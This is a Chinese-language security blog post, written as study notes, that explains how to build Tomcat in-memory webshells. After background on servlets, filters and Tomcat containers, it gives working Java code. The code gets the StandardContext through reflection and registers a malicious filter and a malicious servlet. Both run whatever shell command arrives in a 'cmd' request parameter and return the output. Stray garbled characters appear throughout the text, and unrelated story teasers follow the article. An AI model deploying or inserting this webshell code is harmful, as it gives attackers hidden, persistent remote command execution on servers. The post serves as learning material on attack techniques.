【安全記錄】基于Tomcat的Java內(nèi)存馬初探

1. 前言

平時(shí)遇到可RCE的點(diǎn)端礼,都是借助工具一鍵注入內(nèi)存馬掰茶,但對(duì)其中的原理并沒有很清楚的了解阎毅。本文主要跟隨前輩大佬的學(xué)習(xí)筆記,以Tomcat為例屈梁,初探Java內(nèi)存馬的實(shí)現(xiàn)原理嗤练。

2. 基礎(chǔ)知識(shí)

2.1 servlet 和 filter

Servlet 主要的作用是可以動(dòng)態(tài)地生產(chǎn)Web頁面,他執(zhí)行在客戶端請(qǐng)求和服務(wù)器響應(yīng)的之間在讶。比較簡(jiǎn)單地理解就是煞抬,一個(gè)路由URL,就會(huì)有對(duì)應(yīng)的servlet對(duì)這個(gè)路由進(jìn)行處理构哺。

Filter 是一段可以復(fù)用的代碼革答,它用來攔截HTTP請(qǐng)求、響應(yīng)曙强、進(jìn)行一些處理和轉(zhuǎn)換残拐。常見一些Javaweb項(xiàng)目會(huì)在 Filter 位置創(chuàng)建一些XSS攔截器或者SQL攔截器,用來統(tǒng)一處理SQL注入漏洞或者XSS漏洞碟嘴。Filter 無法產(chǎn)生一個(gè)請(qǐng)求或者響應(yīng)溪食,它只能針對(duì)某一資源的請(qǐng)求或者響應(yīng)進(jìn)行修改

2.2 servlet 和 filter 的生命周期

Servlet
Servlet 的生命周期開始于Web容器的啟動(dòng)時(shí)娜扇,它就會(huì)被載入到Web容器內(nèi)存中错沃,直到Web容器停止運(yùn)行或者重新裝入servlet時(shí)候結(jié)束栅组。這里也就是說明,一旦Servlet被裝入到Web容器之后枢析,一般是會(huì)長(zhǎng)久駐留在Web容器之中玉掸。

  • 裝入啟動(dòng)服務(wù)器時(shí)加載Servlet的實(shí)例
  • 初始化:web服務(wù)器啟動(dòng)時(shí)或web服務(wù)器接收到請(qǐng)求時(shí),或者兩者之間的某個(gè)時(shí)刻啟動(dòng)登疗。初始化工作有init()方法負(fù)責(zé)執(zhí)行完成
  • 調(diào)用:從第一次到以后的多次訪問排截,都是只調(diào)用doGet()或doPost()方法
  • 銷毀停止服務(wù)器時(shí)調(diào)用destroy()方法,銷毀實(shí)例

Filter
自定義Filter的實(shí)現(xiàn)辐益,一定要求javax.servlet.Filter下的三個(gè)方法的實(shí)現(xiàn)断傲,它們分別是init()doFilter()智政、destroy()

  • 啟動(dòng)服務(wù)器時(shí)加載過濾器的實(shí)例认罩,并調(diào)用init()方法來初始化實(shí)例;
  • 每一次請(qǐng)求時(shí)都只調(diào)用方法doFilter()進(jìn)行處理续捂;
  • 停止服務(wù)器時(shí)調(diào)用destroy()方法垦垂,銷毀實(shí)例。

2.3 Tomcat 的 Container – 容器組件

Tomcat中的 Container作用:

用于封裝和管理 Servlet牙瓢,以及具體處理Request請(qǐng)求劫拗,在Connector內(nèi)部包含了4個(gè)子容器:

Engine,實(shí)現(xiàn)類為 org.apache.catalina.core.StandardEngine
Host矾克,實(shí)現(xiàn)類為 org.apache.catalina.core.StandardHost
Context页慷,實(shí)現(xiàn)類為 org.apache.catalina.core.StandardContext
Wrapper,實(shí)現(xiàn)類為 org.apache.catalina.core.StandardWrapper

這四個(gè)字容器實(shí)際上是自上向下的包含關(guān)系:

Engine:最頂層容器組件胁附,其下可以包含多個(gè) Host酒繁。
Host:一個(gè) Host 代表一個(gè)虛擬主機(jī),其下可以包含多個(gè) Context控妻。
Context:一個(gè) Context 代表一個(gè) Web 應(yīng)用州袒,其下可以包含多個(gè) Wrapper。
Wrapper:一個(gè) Wrapper 代表一個(gè) Servlet弓候。

關(guān)系圖如下(借用參考文章的圖):

對(duì)于tomcat的目錄來說郎哭,webapps目錄對(duì)應(yīng)的就是 Host 組件,下面的 casmanager 等一個(gè)個(gè)webapp對(duì)應(yīng)的就是 Context 組件菇存,Wrapper 就是容器內(nèi)的 Servlet了

image

2.4 Tomcat中的啟動(dòng)加載順序

加載過程在 Tomcat 的org.apache.catalina.core.StandardContext#startInternal()

@Override
protected synchronized void startInternal() throws LifecycleException {
//設(shè)置webappLoader 代碼省略
//Standard container startup 代碼省略
try {

// Set up the context init params
mergeParameters();

// Configure and call application event listeners
if (ok) {
if (!listenerStart()) {
log.error(sm.getString("standardContext.listenerFail"));
ok = false;
}
}
// Configure and call application filters
if (ok) {
if (!filterStart()) {
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}
}
// Load and initialize all "load on startup" servlets
if (ok) {
if (!loadOnStartup(findChildren())){
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
}

// Start ContainerBackgroundProcessor thread
super.threadStart();
} finally {
// Unbinding thread
unbindThread(oldCCL);
}
}

從代碼中可以看到彰居,加載順序 context-param->listeners->filters->servlets :

  1. 首先初始化 context-param 節(jié)點(diǎn):mergeParameters()
  2. 接著配置和調(diào)用 listeners 并開始監(jiān)聽:listenerStart()
  3. 然后配置和調(diào)用 filters ,filters 開始起作用:filterStart()
  4. 最后加載和初始化配置在 load on startup 的 servlets:loadOnStartup(findChildren())

3. 內(nèi)存馬技術(shù)實(shí)現(xiàn)介紹

從 servlet3.0 開始撰筷,提供了動(dòng)態(tài)注冊(cè) Servlet 、filter 畦徘、Listener毕籽,這里重點(diǎn)關(guān)注 Servletfilter抬闯,因?yàn)?Servlet 能夠幫助我們接受 request 請(qǐng)求和 response 響應(yīng),并且針對(duì)傳入內(nèi)容進(jìn)行操作关筒,filter 也是可以做得到的溶握。

相關(guān)函數(shù)如下:

<T extends Filter>createFilter(Java.lang.Class<T> clazz)
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2);
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2);
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class<? extends Filter> var2);


<T extends Servlet>createServlet(java.lang.Class<T> clazz)
Dynamic addServlet(String var1, String var2);
Dynamic addServlet(String var1, Servlet var2);
Dynamic addServlet(String var1, Class<? extends Servlet> var2);

3.1 獲取上下文對(duì)象 ServletContext

Servlet上下文又叫做:ServletContext

當(dāng)WEB服務(wù)器啟動(dòng)時(shí)蒸播,會(huì)為每一個(gè)WEB應(yīng)用程序(webapps下的每個(gè)目錄就是一個(gè)應(yīng)用程序睡榆,也就是前面介紹的 Context 組件)創(chuàng)建一塊共享的存儲(chǔ)區(qū)域

image

ServletContext也叫做“公共區(qū)域”袍榆,也就是同一個(gè)WEB應(yīng)用程序中胀屿,所有的Servlet和JSP都可以共享同一個(gè)區(qū)域

ServletContext在WEB服務(wù)器啟動(dòng)時(shí)創(chuàng)建包雀,服務(wù)器關(guān)閉時(shí)銷毀宿崭。

3.1.1 通過當(dāng)前 request 對(duì)象獲取 ServletContext

request.getSession().getServletContext();

所以這時(shí)候,如何獲取servlet上下文(ServletContext)這個(gè)問題才写,就變成了如何獲取運(yùn)行狀態(tài)中上下文中的 request 對(duì)象葡兑。

org.apache.catalina.core.ApplicationFilterChain類當(dāng)中存在兩個(gè)static對(duì)象分別是:

private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;

而在這個(gè)邏輯中當(dāng)ApplicationDispatcher.WRAP_SAME_OBJECT為 true 的情況下,就會(huì)把 request 對(duì)象和 response 對(duì)象暫時(shí)存放在 lastServicedRequest 和 lastServicedResponse 當(dāng)中赞草。

if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}

所以現(xiàn)在我們要做的就是讹堤,通過反射來改變其中類的一些值,使得 request 對(duì)象和 response 對(duì)象存放在 lastServicedRequestlastServicedResponse 當(dāng)中厨疙。

這樣做需要通過反射修改3個(gè)部分洲守。

通過反射修改ApplicationDispatcher.WRAP_SAME_OBJECT判斷結(jié)果為true

Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
    f.setBoolean(null, true);
}

通過反射初始化 lastServicedRequest 存放 request 對(duì)象

//初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
    f.set(null, new ThreadLocal());
}

通過反射初始化 lastServicedResponse 存放 response 對(duì)象

//初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
    f.set(null, new ThreadLocal());
}
} catch (Exception e) {
    e.printStackTrace();
}

通過這3次的反射修改,就能在下一次請(qǐng)求中成功獲取上下文的 servletContext 對(duì)象轰异,借用一張圖:

獲取到的對(duì)象為ApplicationContext類實(shí)例岖沛。

3.1.2 通過 Thread.currentThread().getContextClassLoader() 獲取 StandardContext

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

借用一張圖:

獲取到的對(duì)象為StandardContext類實(shí)例。

tomcat 7 的結(jié)構(gòu)不太一樣搭独,導(dǎo)致 tomcat 7 這種方法拿不到上下文中的 StandardContext 婴削。

3.1.3 在 spring 項(xiàng)目中通過 spring 容器來獲取 servletContext 對(duì)象(不推薦)

ServletContext servletContext = ContextLoader.getCurrentWebApplicationContext().getServletContext();

借用一張圖:

獲取到的對(duì)象為ApplicationContext類實(shí)例。

這種情況下有一定的限制牙肝,就是 servletContext 值的初始化的 servletContextListener 一定要在 org.springframework.web.context.ContextLoaderListener 之前加載唉俗。

3.2 構(gòu)造內(nèi)存shell

要讓 servlet 被外界訪問到,可以在 web.xml 之中進(jìn)行一些映射工作:

image

前面提到過從 servlet3.0 開始配椭,提供了動(dòng)態(tài)注冊(cè) Servlet 虫溜、filter ,這里主要學(xué)習(xí)怎么針對(duì) Servlet 和 filter 如何進(jìn)行動(dòng)態(tài)注冊(cè)股缸。

3.2.1 添加惡意filter

先寫一個(gè)惡意的 filter 衡楞,前面說過 filter 的實(shí)現(xiàn),需要分別實(shí)現(xiàn)三個(gè)接口 init 敦姻、doFilter 瘾境、destroy 歧杏。

Filter filter = new Filter() {
    @Override
    public void init(FilterConfig arg0) throws ServletException {}

    @Override
    public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2) throws IOException, ServletException {

        HttpServletRequest req = (HttpServletRequest) arg0;
        if (req.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner( in ).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            arg1.getWriter().write(output);
            arg1.getWriter().flush();
            return;
        }
        arg2.doFilter(arg0, arg1);
    }

    @Override
    public void destroy() {

    }
}

Tomcat 在 org.apache.catalina.core.ApplicationContextFacade 當(dāng)中實(shí)現(xiàn)了之前我們說的 ServletContext 中的 addFilteraddServlet。先看 addFilter 的實(shí)現(xiàn)迷守,這部分實(shí)現(xiàn)在 ApplicationContext#addFilter 當(dāng)中犬绒。

在 addFilter 中,代碼的作用實(shí)際就是新建一個(gè) filterDef 然后調(diào)用this.context.addFilterDef(filterDef);進(jìn)行添加了而已兑凿。完全可以通過反射的方式獲取上下文 context 自行進(jìn)行添加凯力。

Filter filter = new filter(){上面的惡意代碼}
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);

ApplicationFilterFactory.createFilterChain 當(dāng)中,首先從 StandardContext 對(duì)象中獲取filterMaps 礼华,然后循環(huán)遍歷 filterMaps 咐鹤,最后再添加到 filterChain 當(dāng)中

上面代碼我們構(gòu)造好了 filterDef 卓嫂,當(dāng)時(shí)并沒有添加進(jìn) filterMap 當(dāng)中慷暂,自然也不會(huì)添加到filterChain中去,所以添加進(jìn)去:

FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern("/testfilter");
standardContext.addFilterMapBefore(m);

主要關(guān)注 standardContext.addFilterMapBefore 這個(gè)方法晨雳,這個(gè)方法最終的效果是要把我們創(chuàng)建的 filterMap 放到第一位去行瑞。因?yàn)閺膭倓?ApplicationFilterFactory.createFilterChain 當(dāng)中,我們知道這個(gè)順序是從頭到尾餐禁,看是一次次創(chuàng)建的血久,所以放到最前面是很有必要的。

最后還有一個(gè)問題需要解決帮非,如何將 filter 添加到 filterConfigs 當(dāng)中氧吐。關(guān)注 StandardContext#filterStart 方法就可以知道,遍歷了 filterDefs 當(dāng)中 filterName 末盔,然后把對(duì)應(yīng)的 name 添加到 filterConfigs 當(dāng)中筑舅。再通過反射,在構(gòu)造器實(shí)例化的時(shí)候把 filterConfig 加入到 filterConfigs 當(dāng)中

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);

如此一系列操作陨舱,就能構(gòu)造并添加一個(gè)惡意的filter了翠拣。

注意:tomcat 7 與 tomcat 8 在 FilterDef 和 FilterMap 這兩個(gè)類所屬的包名不太一樣。

tomcat 7:

org.apache.catalina.deploy.FilterDef;
org.apache.catalina.deploy.FilterMap;

tomcat 8:

org.apache.tomcat.util.descriptor.web.FilterDef;
org.apache.tomcat.util.descriptor.web.FilterMap;

3.2.2 添加惡意servlet

先寫一個(gè)惡意的 servlet 游盲,接口下需要有 init 误墓、getServletConfig、service益缎、getServletInfo谜慌、destroy。

Servlet servlet = new Servlet() {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }
    @Override
    public ServletConfig getServletConfig() {
        return null;
    }
    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[] {"sh", "-c", cmd} : new String[] {"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner( in ).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }
    @Override
    public String getServletInfo() {
        return null;
    }
    @Override
    public void destroy() {

    }
};

我們知道 Wrapper 負(fù)責(zé)管理 Servlet 莺奔,而之前在動(dòng)態(tài)加載 filter 的時(shí)候欣范,我們通過 standardContext 當(dāng)中的 addFilterDef 和 addFilterMap 來完成了 filter 的動(dòng)態(tài)添加。那么是否在 standardContext 當(dāng)中也能完成 Wrapper 的動(dòng)態(tài)添加呢?答案是肯定的熙卡,createWrapper 就能夠搞定了杖刷,實(shí)例化一個(gè)新的 Wrapper 對(duì)象,把相關(guān)內(nèi)容寫進(jìn)去驳癌。

org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper();
newWrapper.setName(n);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());

這里這時(shí)候又有一個(gè)問題了,這個(gè)新建的 Wrapper 對(duì)象役听,并不在 StandardContext 的 children 當(dāng)中颓鲜,我們可以通過 StandardContext#addChild 把它加到 StandardContext 的 children 當(dāng)中。最后還需要將我們的 Wrapper 對(duì)象典予,和訪問的 url 進(jìn)行綁定甜滨。

stdcontext.addChild(newWrapper);
stdcontext.addServletMapping("/testservlet",n);

如此操作,就能構(gòu)造并添加一個(gè)惡意的servlet作為內(nèi)存shell了瘤袖,該方法較filter更好衣摩,tomcat 7 和 8 能夠通用。

4. 總結(jié)

本文講解了filter和servlet兩種類型內(nèi)存馬實(shí)現(xiàn)的一些基礎(chǔ)知識(shí)捂敌,對(duì)反射操作servlet上下文有了更深的理解艾扮,后面我還將結(jié)合具體實(shí)例場(chǎng)景(jsp文件構(gòu)造內(nèi)存馬;命令執(zhí)行占婉、反序列化構(gòu)造內(nèi)存馬)進(jìn)行學(xué)習(xí)泡嘴。

5. 參考資料

基于Tomcat無文件Webshell研究

Servlet上下文

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市逆济,隨后出現(xiàn)的幾起案子酌予,更是在濱河造成了極大的恐慌,老刑警劉巖奖慌,帶你破解...
    沈念sama閱讀 216,470評(píng)論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件抛虫,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡简僧,警方通過查閱死者的電腦和手機(jī)建椰,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,393評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來涎劈,“玉大人广凸,你說我怎么就攤上這事≈朊叮” “怎么了谅海?”我有些...
    開封第一講書人閱讀 162,577評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)蹦浦。 經(jīng)常有香客問我扭吁,道長(zhǎng),這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,176評(píng)論 1 292
  • 正文 為了忘掉前任侥袜,我火速辦了婚禮蝌诡,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘枫吧。我一直安慰自己浦旱,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,189評(píng)論 6 388
  • 文/花漫 我一把揭開白布九杂。 她就那樣靜靜地躺著颁湖,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,155評(píng)論 1 299
  • 那天烛谊,我揣著相機(jī)與錄音,去河邊找鬼镰禾。 笑死,一個(gè)胖子當(dāng)著我的面吹牛唱逢,可吹牛的內(nèi)容都是我干的吴侦。 我是一名探鬼主播,決...
    沈念sama閱讀 40,041評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼惶我,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼妈倔!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起绸贡,我...
    開封第一講書人閱讀 38,903評(píng)論 0 274
  • 序言:老撾萬榮一對(duì)情侶失蹤盯蝴,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后听怕,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體捧挺,經(jīng)...
    沈念sama閱讀 45,319評(píng)論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,539評(píng)論 2 332
  • 正文 我和宋清朗相戀三年尿瞭,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了闽烙。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,703評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡声搁,死狀恐怖黑竞,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情疏旨,我是刑警寧澤很魂,帶...
    沈念sama閱讀 35,417評(píng)論 5 343
  • 正文 年R本政府宣布,位于F島的核電站檐涝,受9級(jí)特大地震影響遏匆,放射性物質(zhì)發(fā)生泄漏法挨。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,013評(píng)論 3 325
  • 文/蒙蒙 一幅聘、第九天 我趴在偏房一處隱蔽的房頂上張望凡纳。 院中可真熱鬧,春花似錦帝蒿、人聲如沸荐糜。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,664評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽狞尔。三九已至,卻和暖如春巩掺,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背页畦。 一陣腳步聲響...
    開封第一講書人閱讀 32,818評(píng)論 1 269
  • 我被黑心中介騙來泰國打工胖替, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人豫缨。 一個(gè)月前我還...
    沈念sama閱讀 47,711評(píng)論 2 368
  • 正文 我出身青樓独令,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國和親好芭。 傳聞我的和親對(duì)象是個(gè)殘疾皇子燃箭,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,601評(píng)論 2 353

推薦閱讀更多精彩內(nèi)容